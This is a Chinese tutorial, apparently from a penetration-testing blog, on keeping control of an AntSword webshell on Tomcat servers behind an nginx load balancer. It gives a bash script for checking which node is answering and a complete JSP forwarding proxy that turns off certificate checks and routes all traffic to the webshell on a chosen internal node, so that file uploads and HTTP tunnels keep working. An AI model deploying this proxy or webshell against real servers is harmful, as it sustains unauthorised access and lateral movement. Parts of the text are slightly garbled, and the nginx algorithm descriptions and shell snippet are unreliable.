目录:
难点二:我们执行命令的时候,不知道我们下次的请求会交给我们的哪台机器。(记得下载ifconfig命令包)
难点三:我们上传一些大一点的文件的时候,由于我们的机器飘忽不定就会导致我们的文件在一个机器上上传了一半,另一半就飘到另外一台机器了 。
难点四:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
一、负载均衡:
1、n
ginx负载均衡:
反向代理方式其中比较流行的方式是用 nginx 来做负载均衡。
负载均衡(Load Balance) ,英文名称为Load Balance,其含义就是指将工作任务进行平衡、分摊到多个操作单元上进行运行,从而协同完成工作任务。
Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器。
nginx的负载均衡算法:
1、轮询(默认)
每个请求按照时间顺序逐一分配到笔筒的后端
2、weight
指定轮询几率,weight和访问比率成正比,用于后端服务器性能不均的情况下
3、ip_hash
每个请求按访问ip的hash结果分配,这样每个访客固定访问一个后端服务器,可以解决session保持的问题。
4、url_hash
可以依据页面大小和加载时间长短智能的进行负载均衡,也就是根据后端服务器的响应时间来分配请求。
5、least_conn
根据连接数分配。
6、fair (第三方)
根据响应时间分配。
2、nginx支持的策略:
二、负载均衡下的webshell连接
1.内部网络的结构:
2.描述情况:
我们假设在真实的业务系统上,存在一个RCE的漏洞,并且我们已经上传了我们的脚本,可以让我们获取webshell。
3.利用我们的中国蚁剑连接我们的代理服务器nginx
三、webshell遇到的难点
难点一:我们需要在每台机器上都要上传相同的weshell。
我们通过修改我们的一个tomcat服务器的ant.jsp文件为ant.txt时,发现连接的时候一会是正常的一会就会报错。
难点二:我们执行命令的时候,不知道我们下次的请求会交给我们的哪台机器。(记得下载ifconfig命令包)
我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。
rootac8362b4b8703:~# apt-get update
rootac8362b4b8703:~# apt-get install net-tools
难点三:我们上传一些大一点的文件的时候,由于我们的机器飘忽不定就会导致我们的文件在一个机器上上传了一半,另一半就飘到另外一台机器了 。
难点四:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
四、解决方法
1.直接关闭一台tomcat机器(小伙子你活腻歪了)
我们确实可以关闭其中一台机器,保留一台机器,这样我们是可以干其他的操作,但是在我们的实际环境中,关闭公司的一台服务器就会导致经济的损失,不建议使用。
2.执行前判断是否是自己需要执行的机器
如果我们想要去准确的在某个机器上执行,我们通过写一个小的脚本,从而展示在我们面前到底是不是我们需要的机器,之后上传我们的文件。这样确保了我们想要执行命令的机器,但是依旧无法解决我们上传大文件,搭建http的隧道。
MYIP='ifconfig | grep "inet 172" | awk '{print $2}''
if [ $MYIP == "172.23.0.2" ]; then
echo "node1,l will execute command. \n=======\n"
else
echo "node2.try again."
fi
(root:/usr/local/tomcat) $ chmod +x demo.sh
(root:/usr/local/tomcat) $ chmod +x demo.sh
(root:/usr/local/tomcat) $ chmod +x demo.sh
(root:/usr/local/tomcat) $ chmod +x demo.sh
(root:/usr/local/tomcat) $ ls
(root:/usr/local/tomcat) $ ./demo.sh
(root:/usr/local/tomcat) $ ./demo.sh
(root:/usr/local/tomcat)
{node2.try again.
./demo.sh: 1: }: not found
./demo.sh: 2: [: == .unexpected operator]
3.在web层做一次HTTP流量的转发(重点推荐)
1)原理
在我们服务器内网中,不仅nginx可以访问这两台服务器node1和node2,他们自己之间也可以互相的访问,我们进行一个流量的转发,无论服务器流量怎么漂移,它最终目的只会转发在一台机器上,就不会造成我们的大文件上传一半就漂移到其他机器去了。
(2)转发过程
我们的最终目的是:所有的数据包都能发给Node 1这台机器。
首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx,nginx 接到数据包之后,会有两种情况:
我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。
再来看红色线,第 2 步nginx把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。
最后我们所有的流量都转向了我们的node1这台机器。
五、webshell具体操作办法:
1.转发脚本;
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<% //注意这里的地址一定修改正确,不同的环境内部使用的地址不一定一样
String target = "http://172.19.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
2.创建antproxy.jsp脚本
修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。
3.修改 Shell 配置
将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变。
http://192.168.2.169:18080/antproxy.jsp
六、webshell总结
我们在做流量转发的时候,切记在中国蚁剑上新建文件,不要上传文件,一定要疯狂疯狂疯狂在疯狂的点击保存,点击二三十次就可以,一定记得不要上传,直接蚁剑新建保存。